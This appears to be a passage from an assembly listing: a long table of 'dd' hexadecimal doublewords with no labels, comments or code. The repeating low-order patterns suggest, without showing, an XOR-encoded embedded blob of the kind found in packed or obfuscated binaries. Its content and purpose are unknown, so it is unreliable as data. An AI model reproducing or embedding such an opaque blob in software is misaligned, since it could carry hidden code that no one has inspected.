		dd 57ACF371h, 77CA52DCh, 5113215h, 0F5C519Dh, 2AE7AB2Bh
		dd 0ACE52F57h, 0DB794B74h, 668839FDh, 8079F515h, 0B0688241h
		dd 8E5DA3F7h, 0E887684Bh, 66443213h, 6622BC1Ah,	9F703215h
		dd 49F1A79Eh, 0EB4B35BDh, 66223200h, 8F4A6375h,	66883219h
		dd 41B06F7Bh, 222EACACh, 93E90BBDh, 698A0974h, 6644D391h
		dd 76A03D15h, 8F113215h, 6688321Eh, 900A2050h, 722F556Ch
		dd 933AAC2Bh, 668C8F40h, 8C453215h, 0E5061E9Eh,	0E21E36D1h
		dd 66883214h, 0D3FB65EDh, 0E70ED621h, 0B14BA1DAh, 467B304h
		dd 0E736B211h, 0DF060CDAh, 91C6C506h, 0E64FB3C2h, 4F603294h
		dd 5DD76DECh, 0CE0B6B98h, 0FC0D3D12h, 69BBCDEAh, 66223395h
		dd 0D946CB15h, 6EA719CCh, 50DF8946h, 0BDD56401h, 84ADC194h
		dd 0BE0193D1h, 39BC034Eh, 6638BB1Ah, 8F713215h,	66883206h
		dd 91880E1Eh, 6DFD6E4h,	0CE9990A9h, 996C48h, 7C09497h
		dd 286FBF98h, 0E61E35BDh, 66883202h, 664420FCh,	8B4C2515h
		dd 21F01C7Eh, 0D22101C5h, 0C045466Dh, 8F0E3B0Ch, 6611321Eh
		dd 2B6121E9h, 0BB40E7Ah, 992F7049h, 619B3DF4h, 69883215h
		dd 6644339Ah, 0EBABCB15h, 61B90118h, 429CB9E0h,	0E7A6BB47h
		dd 662236D7h, 62D3B315h, 0E1883215h, 8F181601h,	66223219h
		dd 38C41095h, 0AD2AE30Ch, 0C1C082BBh, 35063E9Eh, 0A590D19Ch
		dd 66883211h, 6640F194h, 7AA53215h, 69F86E31h, 3F883215h
		dd 0C960074Bh, 136151D0h, 54AC43C5h, 0DFE860FFh, 5D1BC200h
		dd 0D21AA9ABh, 0E979532Ah, 0EF883266h, 0E34B1621h, 66223200h
		dd 661122FCh, 8A007415h, 0B33F7262h, 0C5FB95E8h, 3A6BE919h
		dd 0D715B9F4h, 69439A1Bh, 66223E90h, 0DF775215h, 86093B9Bh
		dd 423C8EAEh, 0E711CD74h, 56541611h, 34D10693h,	0E07477AFh
		dd 3CF31B21h, 75F86075h, 5E883215h, 2EC69A12h, 43A3F185h
		dd 8747D12h, 142E2A46h,	8E1C1899h, 6622321Eh, 0A3F4E21h
		dd 84AA75C6h, 0ECD086F0h, 9A436CDEh, 551CB79Eh,	0E68735BDh
		dd 66443211h, 70D8275h,	77F8D2C4h, 25883215h, 67B5B8C9h
		dd 63DC052Ch, 18649B67h, 0FEF02AF0h, 6CADB716h,	0E12D35BDh
		dd 66113210h, 7E8CB75h,	8FB20374h, 66223210h, 0E08250Bh
		dd 57780348h, 9AB403D3h, 72CB9F73h, 0E4113215h,	0BBE0AB60h
		dd 0AF948FFAh, 3976113Ah, 0CE21F627h, 0A73CE000h, 65B130F5h
		dd 0CE062F90h, 0E541C712h, 520136F9h, 8F1A6A31h, 6622321Ah
		dd 578566EFh, 4386EA44h, 0AFC54DCBh, 0CB566FFBh, 6616B01Ah
		dd 0EB873215h, 66443214h, 6636DBE0h, 0FCB93215h, 60FF30AAh
		dd 9E467430h, 9204E2E1h, 429BF363h, 0E58D205Fh,	6743D365h
		dd 5E9860DDh, 242CC67Bh, 8449E0E2h, 94C57010h, 20B17A57h
		dd 8F4BE23Ch, 6688321Ah, 28E43C78h, 386D8C1h, 1805FF00h
		dd 99962963h, 0E51A1621h, 0E5DA36D1h, 0CE1E1FA8h, 0E2873312h
		dd 664432BCh, 0F8B975h,	5D70F99Eh, 0CE90A798h, 0F0C03D12h
		dd 93223215h, 7824BF2Eh, 0E28735BDh, 6644329Ch,	8FA98075h
		dd 66113204h, 0FB9BC277h, 21D8F5EAh, 393DCDB0h,	0F7E1202h
		dd 0EBB35322h, 61EC316Ch, 6641B61Ah, 8F713215h,	66883218h
		dd 0C3EFD947h, 78987E4Eh, 37DB25ACh, 0A50352D6h, 725F09Fh
		dd 5D6DAF98h, 99E935A5h, 0E7D8CBC6h, 1A4A1639h,	5AA93FD5h
		dd 62D5B331h, 0E7883215h, 0A6383CD2h, 0E3ABCE18h, 61B91DA4h
		dd 668839FCh, 40D9EA15h, 0D2A22B6Ah, 863E0294h,	66A92EFCh
		dd 6643DB15h, 8AD83215h, 18ED91DCh, 2915BFBBh, 9343822Eh
		dd 0E92DE1EAh, 66113214h, 61013DEDh, 69443215h,	66223397h
		dd 0DB92C715h, 61203D38h, 1DC03D15h, 8F223215h,	66113218h
		dd 532A11A8h, 0D3C07C45h, 0AD9D2B41h, 0B7940960h, 698F9A3Dh
		dd 66441991h, 0CD955215h, 6605B51Ah, 69613215h,	28443215h
		dd 0EE9A55ABh, 0C78E982Bh, 66D1D608h, 5D2530B0h, 0CE39A390h
		dd 55943D12h, 93883215h, 99BB0DFCh, 0EC2D52EAh,	66113217h
		dd 69605375h, 7C443215h, 7AC206EFh, 0D7E63EEAh,	0CCD3A996h
		dd 6FAD6D9Fh, 4E223215h, 69526FE2h, 0B37BCD3Ch,	0E37F534Eh
		dd 618A376Ch, 6666B71Ah, 75613215h, 58443215h, 4987C575h
		dd 0BD7899DAh, 0FA5858F4h, 29F92EEBh, 0DBA1858Eh, 61B934B0h
		dd 690C3D15h, 93443215h, 765B8F96h, 691135BDh, 66887691h
		dd 0E3C9C715h, 618D5D28h, 66113CFCh, 0F7D0F115h, 48B2CF5Fh
		dd 63F09E93h, 62F928Bh,	0CD0D8973h, 3E1F6343h, 9888DB74h
		dd 8E71CDEAh, 66883212h, 0FEF11248h, 6975BD8Fh,	66113290h
		dd 85096915h, 0A44302Bh, 1FA70974h, 69169A10h, 9976B191h
		dd 0DBC7CEEAh, 618DEE88h, 27943D14h, 9A883215h,	0BA95B72Eh
		dd 0E32D35BAh, 66113221h, 66883AFCh, 8020FC15h,	0BC4881F8h
		dd 8294BF05h, 6886B1Eh,	8D4503AAh, 662DDB17h, 616A3215h
		dd 1DBFBE60h, 2784E917h, 34BBFF6h, 59F853CDh, 9A77CDEBh
		dd 0E5BDCD24h, 0CE01F3A8h, 0E21E3212h, 66882364h, 0ED225275h
		dd 0D12D53E6h, 0E32A53CFh, 6127EEA8h, 667DB71Ah, 0E62D3215h
		dd 66113219h, 668EB71Ah, 0E34B3215h, 66223215h,	530CB79Eh
		dd 636135BDh, 87443215h, 0CC193504h, 66108C43h,	91893215h
		dd 664DDB4Bh, 40DB3215h, 4731BB86h, 5D11D09Bh, 0C998F790h
		dd 58A73D12h, 9F113215h, 4C29B79Eh, 0ED4B35BDh,	66223219h
		dd 6617B41Ah, 0E4873215h, 66443215h, 99DD8A45h,	0A138CDEAh
		dd 6861524Dh, 0D3443215h, 75D82162h, 3DAFDDAh, 32519C07h
		dd 0EA4B5398h, 66223214h, 0A79409EDh, 698F9DC9h, 66446690h
		dd 6FA73D15h, 6113215h
		dd 778D1Ah, 7A962ABh, 65BBB79Eh, 8FE935BDh, 6688321Ch
		dd 54F8E2DFh, 6AD94126h, 62FDB326h, 0EF883215h,	62BB1629h
		dd 8F426D31h, 66113207h, 563234F7h, 0D1BBFF1Bh,	0BE9B7B50h
		dd 43AAABF3h, 0D9873EACh, 0E94B53D3h, 66223214h, 0AF9409E9h
		dd 698F9DC9h, 66446490h, 0E92D5215h, 66113210h,	527BB373h
		dd 0E3CF53BBh, 618A1EACh, 609A3D75h, 0E7883215h, 35CA98FEh
		dd 662ADB35h, 0AC473215h, 5EE5263Fh, 692568A9h,	66223E9Eh
		dd 6616DB15h, 4FC33215h, 8B695016h, 9998607Dh, 4FEECDEAh
		dd 0E868C2h, 68BCD394h,	52D5E894h, 5D700412h, 0C954FF90h
		dd 3DC13D12h, 8F223215h, 66113204h, 7430331Bh, 4FA74F16h
		dd 1C67EC5Eh, 0E9E5773h, 8FE85276h, 66443210h, 29FC471Ch
		dd 0AE9A5327h, 0E70DB974h, 6439A37h, 3D148B73h,	0B89FD94h
		dd 6E96312h, 0BF8FB373h, 66A83DEAh, 7113215h, 99778A45h
		dd 0A16DCDEAh, 61AB3D4Dh, 69113215h, 66883393h,	0E37FCA15h
		dd 618DEEC4h, 6634B71Ah, 6F613215h, 0D9443215h,	0CB7AED89h
		dd 7E0DD958h, 426DB79Eh, 0EB4B35BDh, 66223214h,	67AF64E9h
		dd 67883215h, 5DB16CE2h, 0C9FEE790h, 4E943D12h,	69883215h
		dd 66443398h, 0D442CB15h, 94905425h, 0EDE9FA61h, 0CE54D390h
		dd 0E7D75212h, 734BEDD4h, 0A1B95329h, 0A175CA24h, 5DDBA555h
		dd 0C9CDEB90h, 90D3D12h, 93443215h, 0AA985475h,	661DDB4Dh
		dd 0B0D93215h, 99B77B6Ah, 50266948h, 0ED7063BCh, 0CE8E1F90h
		dd 6650DB12h, 6BF43215h, 0C6598018h, 47899ADh, 361A8899h
		dd 0CD386724h, 0DD42449Fh, 170D76EFh, 1E7CD194h, 0E7696130h
		dd 603570FEh, 6463F325h, 0E74CD1D4h, 5F20CDD6h,	3DCE1BD5h
		dd 6698B41Ah, 0EA4B3215h, 6622321Fh, 661137FCh,	0EBAF3A15h
		dd 0E37FFD10h, 618DEEC8h, 6634B71Ah, 6C613215h,	2D443215h
		dd 0D2B51E6Fh, 94F1184Bh, 0F0DB930h, 6439A25h, 98A9FA9Eh
		dd 99A96274h, 4F77CDEAh, 5DB16AD2h, 0C9FED390h,	26943D12h
		dd 69883215h, 66443F9Fh, 662ADB15h, 8AB53215h, 1F98F5C6h
		dd 77AD9B7Ch, 9B223215h, 1363CBEDh, 1763221Ch, 0FCC0F7D3h
		dd 673AB646h, 4FD0B79Eh, 317035BDh, 67603694h, 39223215h
		dd 6610B11Ah, 5D743215h, 0C998DB90h, 4DA73D12h,	69113215h
		dd 6688359Bh, 67CA3D15h, 9A223215h, 0F394B9E9h,	68F9A0Ch
		dd 0FC95B373h, 8DA354AAh, 3770CCE3h, 9977CDACh,	3F8B1BEAh
		dd 0E319C7E9h, 61BEEEF0h, 66B6B71Ah, 0E5BC3215h, 0CE0003A8h
		dd 0E31E3212h, 66883225h, 23C1B9EDh, 6259A37h, 69D08D1Ah
		dd 69E9F5A2h, 66443390h, 0DB77CA15h, 66113214h,	8FD5DD14h
		dd 66443219h, 438BB06Eh, 0EDF9FC6Ah, 0D99ACE02h, 567D8F96h
		dd 692235BDh, 66114C91h, 0E3B3CE15h, 61EBEF64h,	6653B71Ah
		dd 69F83215h, 7B883215h, 0D5F34FFAh, 0AD4838A1h, 8FDDDC63h
		dd 75613BA5h, 0A1443215h, 14B3E240h, 0DDDFA248h, 0DBC9E0E5h
		dd 810D657h, 0E3A96D59h, 61B936C8h, 60093D75h, 0E7443215h
		dd 7AE663CAh, 0E777523Dh, 3FDAE5h, 4166D294h, 0DB775374h
		dd 66113214h, 69D5DD14h, 6644249Eh, 0DC445215h,	6DF8B4E3h
		dd 0A7883215h, 0F2DDBBEFh, 704A9E31h, 0E5707B6Fh, 0CEAF93A8h
		dd 0E24B3212h, 66223095h, 7C993D75h, 8E883215h,	66443201h
		dd 29A28863h, 6D5CFF51h, 7435A3A0h, 237E03h, 981ECF1Dh
		dd 12018D4Dh, 6E9200Eh,	66443FFCh, 59D92615h, 0CF2F4B3Ah
		dd 978EB9FCh, 6DACF150h, 0D223215h, 0A0B1648Ch,	0A86D2ED3h
		dd 6BAC1963h, 74223215h, 909E6126h, 0E4828E9Dh,	5B1BB7F7h
		dd 0E543694Ah, 0CE329BA8h, 0E2873212h, 66443001h, 0BCA95475h
		dd 6611B21Ah, 9FE93215h, 0BB11B72Eh, 0E32D35BAh, 66113242h
		dd 0AF0DB9ECh, 8F439A1Ch, 6622321Ch, 2C078A50h,	0E29CB1C9h
		dd 77C03D1Eh, 8F223215h, 66113219h, 2582CD3Fh, 7B935E07h
		dd 5C22BA9Fh, 2D6D8946h, 0AD096770h, 748B41D6h,	5FA4C194h
		dd 0AD90760Fh, 6C0F5089h, 1DFAD194h, 85E35CF6h,	19E2B310h
		dd 4F2BA1BDh, 5DBC69CAh, 0C9FF5790h, 55943D12h,	8F883215h
		dd 66443206h, 0AA82EE34h, 0BA3F5E0Eh, 76A9F892h, 0DCD75B26h
		dd 0EDD92D2Eh, 0CE18CB90h, 0E7EE5212h, 35840CDDh, 77A6A46h
		dd 99EE8A45h, 0A1A1CDEAh, 0E37FCE4Dh, 618DEF4Ch, 665BB71Ah
		dd 6D613215h, 4A443215h, 0FA341066h, 0E35F6191h, 0E3039766h
		dd 61EC0240h, 66223EFCh, 9C506B15h, 733F7D1Ch, 53B84232h
		dd 0E744529Fh, 75FE6DAh, 66898A45h, 0A1453215h,	0A1A3524Dh
		dd 52C904F5h, 668837FDh, 0AFC45615h, 77D61EAh, 0BB78B72Eh
		dd 0E38735BAh, 66443239h, 6BA7B9EDh, 8F169A1Fh,	6688321Ch
		dd 171858D0h, 5F7D9384h, 394365E0h, 0B10F704Fh,	664439FCh
		dd 9D787615h, 73280D20h, 730384BCh, 0BB29B72Eh,	0E32D35BAh
		dd 66113236h, 8F0DB9EDh, 6439A26h, 0C6CD8A73h, 99A86374h
		dd 4F77CDEAh, 69246BDAh, 6622339Dh, 3742CA15h, 5DE9694Fh
		dd 0C9996F90h, 29A73D12h, 8F113215h, 66883213h,	0A193349Ch
		dd 0E3A9BB71h, 61B913ACh, 668826FCh, 69228615h,	2972627h
		dd 9D7E3092h, 340510DDh, 0FF02D83Bh, 4998604Eh,	0A74E7531h
		dd 840937F7h, 5EFE59DFh, 981DC094h, 0B138E54Ah,	61043D4Fh
		dd 6443215h, 6FBB973h, 0E32A5374h, 6127EF74h, 6606B71Ah
		dd 423215h, 6944AEADh, 66883192h, 0BCCF5415h, 33A7B974h
		dd 8F169A20h, 6688321Eh, 7F66AE21h, 0FB13418h, 69BEE226h
		dd 66883E90h, 60C13D15h, 69223215h, 66113292h, 67316315h
		dd 67443215h, 9EDB6BDAh, 45B88F96h, 698835BDh, 664E9E91h
		dd 69425215h, 7E9F8AAh,	0DB3BF994h, 5D2529D2h, 0C9FEDF90h
		dd 50943D12h, 69883215h, 6644249Dh, 6633DB15h, 7BD23215h
		dd 0CC47FA8Bh, 9098DD63h, 43B5419Ah, 0ED4A0B48h, 0CEBD3390h
		dd 6641DB12h, 1D8B3215h, 57574F99h, 577103DAh, 0A9C373DAh
		dd 0E7A709EDh, 69169DC8h, 66886390h, 664ADB15h,	0DB283215h
		dd 3C2D4B88h, 0C8F7F716h, 325835C9h, 63CBB79Eh,	697135BDh
		dd 66883498h, 66CC3D15h, 69223215h, 66113998h, 668EDB15h
		dd 87483215h, 0A1F07460h, 67A96274h, 67883215h,	8F246AD2h
		dd 66223210h, 5B70D4A5h, 0DB315405h, 0E37F53CDh, 618DEEE4h
		dd 663DB71Ah, 6E613215h, 8C443215h, 8EC31B9Ch, 0EDA984D1h
		dd 0CEBB0790h, 63C73D12h, 6223215h, 74864EDh, 99778946h
		dd 0B96DCDEAh, 93A8524Eh, 0E32A53EDh, 6127EEE0h, 6618B71Ah
		dd 8F423215h, 66113201h, 0A76992F2h, 0F79372D6h, 0C5E3F3FAh
		dd 670DB061h, 0FFCA02ABh, 3FC1B974h, 69259A27h,	66112091h
		dd 6685DB15h, 927E3215h, 0FCD3477Fh, 8525A9ABh,	36E32103h
		dd 596420ADh, 0B9CD3753h, 0A1108BD5h, 6961CB4Dh, 6B443215h
		dd 21BF192Ch, 64C8A609h, 1D1C4494h, 0E37F0A9Ch,	618DEEECh
		dd 664FB71Ah, 0E2873215h, 6644320Fh, 6632DB75h,	2123215h
		dd 72C8B8D0h, 6D6F6D16h, 8B3D6F0Eh, 0B6916787h,	0E30353A4h
		dd 61EC1EDCh, 663AB71Ah, 75F83215h, 6E883215h, 5BECDA30h
		dd 0AD3E5E44h, 30043645h, 0C612A981h, 0E14B3A0Fh, 6622321Fh
		dd 661137FCh, 9B03415h,	0DF150824h, 99DDCDEAh, 9348FD3Ch
		dd 0BA75B72Eh, 0E34B35BAh, 66223248h, 661139FCh, 6A942D15h
		dd 0A2346DF7h, 215D46EBh, 44208F96h, 698835BDh,	66447290h
		dd 0EC715215h, 0A19A6DDBh
		dd 930DB974h, 69439A1Ah, 66223E94h, 0E7775215h,	0DCA66DD7h
		dd 0B6637AAh, 679A6274h, 67113215h, 0EA876AD2h,	66443204h
		dd 66223EFCh, 0F4633615h, 5614B0E1h, 3846D625h,	67A709BDh
		dd 69169DC8h, 66880390h, 0E3CFCE15h, 618A1720h,	66113AFCh
		dd 0AD5C6715h, 0C586663Dh, 67AA3D3Ah, 9A113215h, 9BB9DD24h
		dd 0E101DD24h, 61AA3DFAh, 69113215h, 66883396h,	0E37FCE15h
		dd 618DEF10h, 665AB71Ah, 0E2873215h, 66443214h,	579FB1E0h
		dd 66169A37h, 66BFB71Ah, 9ABC3215h, 7633B79Eh, 0E77135BDh
		dd 8601AE5h, 8F24532Dh,	66223213h, 72BF95B9h, 6861DD54h
		dd 0EF443215h, 9B3653Bh, 98CB7285h, 0C96B69A7h,	0E513535Fh
		dd 39231611h, 6F9409ECh, 698F9DC8h, 66446A90h, 662FDB15h
		dd 90303215h, 0CB5BE02Fh, 0B7B2E473h, 0ED671994h, 0CE35F390h
		dd 0E0875212h, 66443217h, 6DCA7EA5h, 3113215h, 5BD199CAh
		dd 0C22D98CDh, 8FA36507h, 134E6E93h, 0DFD9534Fh, 99BBCDEAh
		dd 8F7BFD3Ch, 66113204h, 1DB08088h, 1433ECB8h, 57A00126h
		dd 0A786DD62h, 6B0D09CCh, 69439DC8h, 66227F90h,	90AA5215h
		dd 0D6D6F7BBh, 0E3CF534Fh, 618A3CCCh, 99AA61EDh, 4F77CDEAh
		dd 0E84B69CAh, 6622320Fh, 6601DB75h, 0CB423215h, 1A0B7AE2h
		dd 3F2FB2Eh, 79C5AB5Ch,	0D98781CFh, 69AD53E7h, 0B8223215h
		dd 58FB8483h, 3A86A301h, 97FD820h, 0E3192F0Fh, 61BEEF00h
		dd 66FFB71Ah, 68AD3215h, 29223215h, 3AF82202h, 511F57ABh
		dd 0A8239609h, 579FB175h, 66169A37h, 66DFB71Ah,	0EDB13215h
		dd 0CE382B90h, 0EE1E5212h, 6688321Eh, 664434FCh, 7877AF15h
		dd 0DEC58877h, 206A7595h, 6654DB74h, 0B6E03215h, 4D7190F1h
		dd 0E7FD48BFh, 0CD8740F2h, 0B1A55D48h, 99EED894h, 0B10FCDEAh
		dd 664426FCh, 5BE52415h, 2CA166F3h, 2A19D0C3h, 1DFBBBFDh
		dd 189A6FDFh, 77940927h, 698F9DC8h, 66447490h, 6628DB15h
		dd 467D3215h, 0CE04CAFFh, 8DC5A344h, 44138F96h,	691135BDh
		dd 66881890h, 6643DB15h, 0E13F3215h, 0CCEC2470h, 330DB9C9h
		dd 6439A37h, 93F98D1Ah,	67A96274h, 67883215h, 246AD2h
		dd 695A68AEh, 5D70E0AAh, 0C9552B90h, 6C13D12h, 69223215h
		dd 66112893h, 720E3D15h, 8F443215h, 6622321Ah, 0FA0CBB53h
		dd 8ED14EA0h, 3CC3779h,	0ED3DD8E4h, 0CE368790h,	7E033D12h
		dd 8F443215h, 66223206h, 7C846BC6h, 3CFD5F7Eh, 7C025FF7h
		dd 0C09EF62Bh, 33723C7Bh, 9977CDA8h, 3BAB1BEAh,	66223CFCh
		dd 3452F815h, 0E3CB8161h, 9FB1B9C3h, 5D9C2040h,	0C9CC2F90h
		dd 2A0D3D12h, 6443215h,	662221FCh, 0C83F1C15h, 2D48B7C8h
		dd 4BD1D852h, 5384C703h, 0CBCBEB69h, 660D3D44h,	3D443215h
		dd 0BBA7B974h, 6169A33h, 69DA1AA0h, 71FEBA2h, 66238946h
		dd 0B9103215h, 6061524Eh, 17443215h, 4C0CA029h,	87408D85h
		dd 5DE92986h, 0C9991390h, 3EA73D12h, 69113215h,	66882C9Bh
		dd 7EC43D15h, 8F223215h, 66113206h, 0CE4366FAh,	0F7DC30B3h
		dd 47CC771Fh, 0A83718D9h, 0ED72E164h, 0CE445B90h, 0D75212h
		dd 7822C594h, 67366474h, 67443215h, 0E52D6CE2h,	66113202h
		dd 668820FCh, 36098215h, 92A1CEA3h, 2A55C2E8h, 8678ABB8h
		dd 5D5D8B2Dh, 0C9FF1790h, 26943D12h, 6883215h, 6641DB46h
		dd 0F02E3215h, 3E0F2431h, 395D47AAh, 0EDB85349h, 0CE0B1790h
		dd 70923D12h, 8F883215h, 66443204h, 0BEBF3088h,	8CB3E41Fh
		dd 0D859EFF7h, 1C219195h, 999C6493h, 4FEECDEAh,	5D716CE2h
		dd 0C9991B90h, 24A73D12h, 8F113215h, 66883207h,	0B5787237h
		dd 0BED0B782h, 0BFD8A0ECh, 0F974E038h, 0E3CF1B96h, 618A2B08h
		dd 6615BA1Ah, 0EDE83215h, 0DF1553D6h, 66223214h, 6948FD14h
		dd 66883E9Fh, 60CD3D15h, 69223215h, 66113296h, 4B0D0915h
		dd 69439DC8h, 66220B90h, 661FDB15h, 921C3215h, 5D6EE949h
		dd 3C3940BAh, 0EF68C29Dh, 6E55B79Eh, 30BC35BDh,	0A62BC8ABh
		dd 90907C03h, 1C7E1670h, 138BF494h, 286C310Eh, 3A87F494h
		dd 91A1A2BBh, 0E37FC74Bh, 618DEF24h, 660FB71Ah,	0EF873215h
		dd 66443214h, 2FA7B9ECh, 69169A36h, 66883397h, 0DD17CE15h
		dd 99DDCDEAh, 934AED3Ch, 0BBBDB72Eh, 0E34B35BAh, 66223259h
		dd 661134FCh, 0C1B4A615h, 0EDD12CABh, 0CE2A2F90h, 6618DB12h
		dd 75E93215h, 0EFA98629h, 8F064E9Fh, 66113212h,	0F229F63Ch
		dd 36A52F59h, 662233ADh, 3ED63315h, 668821FCh, 5B5AE415h
		dd 56501022h, 0B5177F23h, 91D6B914h, 10D2ACD6h,	4303B72Eh
		dd 0E31E35BDh, 66883229h, 664435FCh, 0A227815h,	47BB9C8h
		dd 69F5B79Eh, 2435BDh, 0B4BFACh, 7A53BABh, 2788847h, 94C55E36h
		dd 0F5FEA91Ah, 8F4BE53Ch, 66883219h, 7B432167h,	6C953C6Fh
		dd 0C1A4DB9Eh, 0BBB1B72Eh, 0E34B35BAh, 66223225h, 0F3AE5275h
		dd 8EBF7DAAh, 66443213h, 0FDE96B6h, 748C0E3h, 0EDE9C09Eh
		dd 0CE5C5B90h, 91A5C712h, 0E1EEDC96h, 668EDBE2h, 92753215h
		dd 1243EDEEh, 0BB64B72Eh, 0E38735BAh, 66443284h, 66223BFCh
		dd 0FBC8AB15h, 0EBCFC628h, 0DBC7A930h, 618DEF68h, 58943D15h
		dd 6883215h, 0E28FB373h, 6629DAE9h, 6F413215h, 89C55BF0h
		dd 87F44378h, 38C1B824h, 4BACB174h, 668F9A1Ah, 660BB61Ah
		dd 0DF423215h, 3F81E42Eh, 668835FDh, 0C3DB3C15h, 1431FD12h
		dd 3CDA851Ah, 0DF0DB974h, 9F439A36h, 6625B11Ah,	713215h
		dd 7E8C89Eh, 99F96774h,	4FDDCDEAh, 0E7716FFAh, 9EAFC1FFh
		dd 7D9FB32Fh, 708B71Ah,	66113AFCh, 9B776115h, 0B9AB3D4Ch
		dd 1FA70920h, 69169DC8h, 66889190h, 0DBC7CA15h,	618DEF68h
		dd 59943D15h, 69883215h, 66442296h, 6629DB15h, 466F3215h
		dd 80769419h, 401E4302h, 4B9FB16Bh, 66169A1Ah, 66FAB61Ah
		dd 0ED4B3215h, 66223203h, 6601BE1Ah, 6D613215h,	4A443215h
		dd 0F7A34516h, 0F9D38A44h, 0E303481Ch, 61EC28B4h, 662235FCh
		dd 6981F615h, 0EC5471A9h, 64C13D75h, 6223215h, 6600DB74h
		dd 0DA283215h, 87AF5277h, 6EF3AD0Fh, 9211306Bh,	70DBDADh
		dd 1C0F8F40h, 8BE30683h, 0BD4B317h, 4F7AE874h, 6BAD6FFAh
		dd 0A2223215h, 7F20FE83h, 4A77CEA7h, 74C04F7Fh,	0BB1FB72Eh
		dd 0E31E35BAh, 66883229h, 66443DFCh, 0DCD08D15h, 36B6FC51h
		dd 12CC6AF5h, 0ED5642E8h, 7D2BB79Eh, 0E11E35BDh, 66883211h
		dd 78BB975h, 66238946h,	0B9103215h, 6F033D4Eh, 6443215h
		dd 66AD3DECh, 7113215h,	0BBC9B72Eh, 0E34B35BAh,	6622324Fh
		dd 660DB51Ah, 0E83215h,	8CE8D894h, 662222FCh, 0BF179115h
		dd 18592F69h, 9AE82A3Ch, 0BC591DC4h, 0E31E53B2h, 66883214h
		dd 0BBC1B9ECh, 69259A1Ch, 6611359Ah, 0BA085215h, 79BB9DAh
		dd 0A4A3E592h, 66113214h, 6861E592h, 89443215h,	8B79569Ch
		dd 2B2F8703h, 0A55EBF6Bh, 0E37FC73Ah, 618DEF50h, 6626B71Ah
		dd 75613215h, 58443215h, 0D0DFB8D5h, 5AAE0692h,	0F55EB5h
		dd 21578033h, 0E3A96AF7h, 61B90630h, 6681BA1Ah,	9E243215h
		dd 0D44FC494h, 30707E91h, 9977CDABh, 38B31BEAh,	2FA709ECh
		dd 69169DC8h, 66880E90h, 0E3CFC715h, 618A1C10h,	661135FCh
		dd 0FD56715h, 0B85A2B00h, 7F068946h, 2D5206B4h,	0A7CBE9E2h
		dd 95C534F6h, 0B19B8554h, 694AED14h, 66883E9Dh,	60CF3D15h
		dd 69223215h, 6611329Fh, 2B0D0915h, 69439DC8h, 66226690h
		dd 6603DB15h
		dd 0F7C83215h, 0D4E7E597h, 0B2119F9Bh, 0C886E4ECh, 3D5E2791h
		dd 566DB79Eh, 6ACB35BDh, 9D113215h, 1A624E85h, 69178191h
		dd 35DE44ACh, 99EECDAEh, 3D571BEAh, 6645BB1Ah, 8FDE3215h
		dd 66113204h, 0E1260A1Ah, 1AD10169h, 7541E7ACh,	8C67CD93h
		dd 370D096Bh, 69439DC8h, 66225A90h, 6618DB15h, 63273215h
		dd 0C5DA74BCh, 8F0FCFBEh, 66113207h, 55827D33h,	3B3FBA5Eh
		dd 5A8AE32Ah, 7A4B75EEh, 0E303B62Ch, 61EC0714h,	66223BFCh
		dd 23218515h, 0BA26F89h, 0DB1151EBh, 99DDCDEAh,	694CDD3Ch
		dd 66882B9Eh, 76AD5215h, 0D9223215h, 1E71ABE8h,	0CB90D205h
		dd 6D8E018h, 31EC2B70h,	0E41E534Eh, 66883214h, 69BB39E9h
		dd 66221591h, 71CE15h, 0A54FED94h, 0AB87B373h, 0C5CB5362h
		dd 69EECDF9h, 6688339Bh, 0EF4BCB15h, 6622321Dh,	6613B61Ah
		dd 7E83215h, 61F5B72Eh,	0E32D35BDh, 66113206h, 0D0798775h
		dd 0E3C9534Eh, 618D21E7h, 8A61DBE0h, 5D74CDEAh,	0CE69D390h
		dd 58A73D12h, 6113215h,	6688B01Ah, 6FAD3215h, 3D223215h
		dd 6F9838D8h, 58B27829h, 0FBF9B174h, 67259DC9h,	660AB71Ah
		dd 0E6E83215h, 9E2592E1h, 6D45B798h, 71324Ch, 0BAB7F294h
		dd 8F25EB9Eh, 99DDDE33h, 0CB9409E0h, 698F9DC9h,	66442591h
		dd 62AA3D15h, 6113215h,	5DE9FA9Eh, 0C9988390h, 61A73D12h
		dd 93113215h, 9963CFFCh, 0DE14CEEAh, 5385700Bh,	9116DAD4h
		dd 124537C5h, 0DE41358Fh, 0EFDAE2CCh, 4215B9D3h, 698CF696h
		dd 66443E90h, 60A73D15h, 69113215h, 66883295h, 67BAB115h
		dd 66C8B71Ah, 5DE93215h, 0C9549390h, 28C13D12h,	69223215h
		dd 66112897h, 72063D15h, 8F443215h, 6622321Ah, 0FB105F6Ah
		dd 0DCEA2C40h, 848414C1h, 933B5CDEh, 0E1D5B798h, 0E287324Dh
		dd 66443200h, 662222FCh, 7B284515h, 0A3533F19h,	6F9CD0D2h
		dd 2971C1E8h, 8D61DB44h, 0DFE8CDEAh, 224E18B8h,	0C3A70974h
		dd 69169DC9h, 66880B90h, 664ADB15h, 7ACF3215h, 6F74A22Fh
		dd 0FBACC1B5h, 3128A08Fh, 0EE18B798h, 71324Dh, 0C671D894h
		dd 7BAB973h, 99C907FCh,	6D913DEAh, 8F883215h, 66443213h
		dd 0F61937A4h, 0E32AB129h, 6127EEBCh, 667AB71Ah, 0EBDB3215h
		dd 3E994D90h, 0E7EE5215h, 8F5069F4h, 66223205h,	0C30B5515h
		dd 0F24CE401h, 91C75FF4h, 0B328B35Bh, 8CE1DB74h, 0EA87CDEAh
		dd 66443212h, 6623B71Ah, 6E43215h, 81095443h, 71D140Eh
		dd 4226B345h, 1F21760Eh, 0E7AC369Eh, 664436D1h,	22391F15h
		dd 93714B25h, 0ED953EDh, 944430Dh, 64C3F34Ch, 0A790D3C4h
		dd 0E1744557h, 6ACFFC9Ch, 62E6B331h, 9A113215h,	0E387C41Eh
		dd 6644322Dh, 6635BD1Ah, 74F83215h, 5E883215h, 73908D49h
		dd 0C30B67B3h, 65C4EB34h, 8F89737Bh, 8C2ADB86h,	77CBCDEAh
		dd 0E7113215h, 0C2CF39Dh, 0A3422590h, 97458FD1h, 0B9009E1h
		dd 0EF4BBB46h, 4258B9CBh, 6926F696h, 66112B92h,	74615215h
		dd 36443215h, 8B50B3F3h, 7C320792h, 89EDB4FCh, 0AA0A1A40h
		dd 74CB535Ch, 24113215h, 0C5D8F2D1h, 0ABE8E520h, 20E56BD0h
		dd 0B648A689h, 3F3DBB00h, 93439A39h, 6625B21Ah,	0DC713215h
		dd 560CF88Fh, 0AFF1BB74h, 69259A27h, 66111294h,	0E0875215h
		dd 66443215h, 662221FCh, 0D515F415h, 0E832EEC6h, 0DE6D6C30h
